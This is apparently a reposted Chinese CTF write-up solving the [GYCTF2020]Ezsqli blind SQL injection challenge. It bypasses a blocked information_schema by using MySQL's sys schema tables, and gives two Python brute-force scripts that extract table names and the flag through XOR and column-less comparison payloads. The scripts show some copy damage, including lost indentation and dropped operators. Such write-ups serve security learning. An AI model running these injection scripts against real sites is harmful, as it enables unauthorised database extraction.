• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

[GYCTF2020]Ezsqli

武飞扬头像
超级兵_140
帮助1

先试一下万能密码

1' or 1=1#

学新通

发现有过滤,fuzz看一下过滤了什么

学新通

if,|,|| 没过滤,过滤了information_schema

MySQL5.7新特性:
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chemainformation_schema两个库,本身数据库不存储数据。

information_schema.tables可以用sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer代替。

脚本:

  1.  
    import requests
  2.  
    import time
  3.  
    flag=""
  4.  
    src = "qwertyuiopasdfghjklzxcvbnm|1234567890?{_ }-=;',./<>!@#$%^&*()\""
  5.  
     
  6.  
    url = "http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php"
  7.  
     
  8.  
    for i in range(1,50):
  9.  
    print(i)
  10.  
    for j in src:
  11.  
    pyload ={
  12.  
     
  13.  
    "id":"1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))=%d)^1" % (i, ord(j))
  14.  
     
  15.  
    }
  16.  
    time.sleep(0.5)
  17.  
    res=requests.post(url=url, data=pyload)
  18.  
    if 'Nu1L' in res.text:
  19.  
    print(i)
  20.  
    flag =j
  21.  
    print(flag)
  22.  
    break
  23.  
     
  24.  
    #users233333333333333, f1ag_1s_h3r3_hhhhh
学新通

这里 涉及到的是无列名注入

比较方式就是按照位比较ASCII大小,大的就大,举个例子
asd > abc
asd < flag
asd > absadasda
只要出现了大,那就是大
所以下面就是按照ASCII顺序去比较字符串,最后要减1是因为我们拿的是大于嘛,减1就是等于了

  1.  
    import requests
  2.  
    import time
  3.  
     
  4.  
    url='http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php'
  5.  
    flag=''
  6.  
    for j in range(1,50):
  7.  
    for i in range(32,128):
  8.  
    hexchar=flag chr(i)
  9.  
    payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
  10.  
    datas={'id':payload}
  11.  
    print(payload)
  12.  
    time.sleep(0.5)
  13.  
    re=requests.post(url=url,data=datas)
  14.  
    if 'Nu1L' in re.text:
  15.  
    flag =chr(i-1)
  16.  
    print(flag)
  17.  
    break
  18.  
     
  19.  
    print(flag.lower())
学新通

得到flag的字母是大写的,改成小写就行了

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgkefai
系列文章
更多 icon
同类精品
更多 icon
继续加载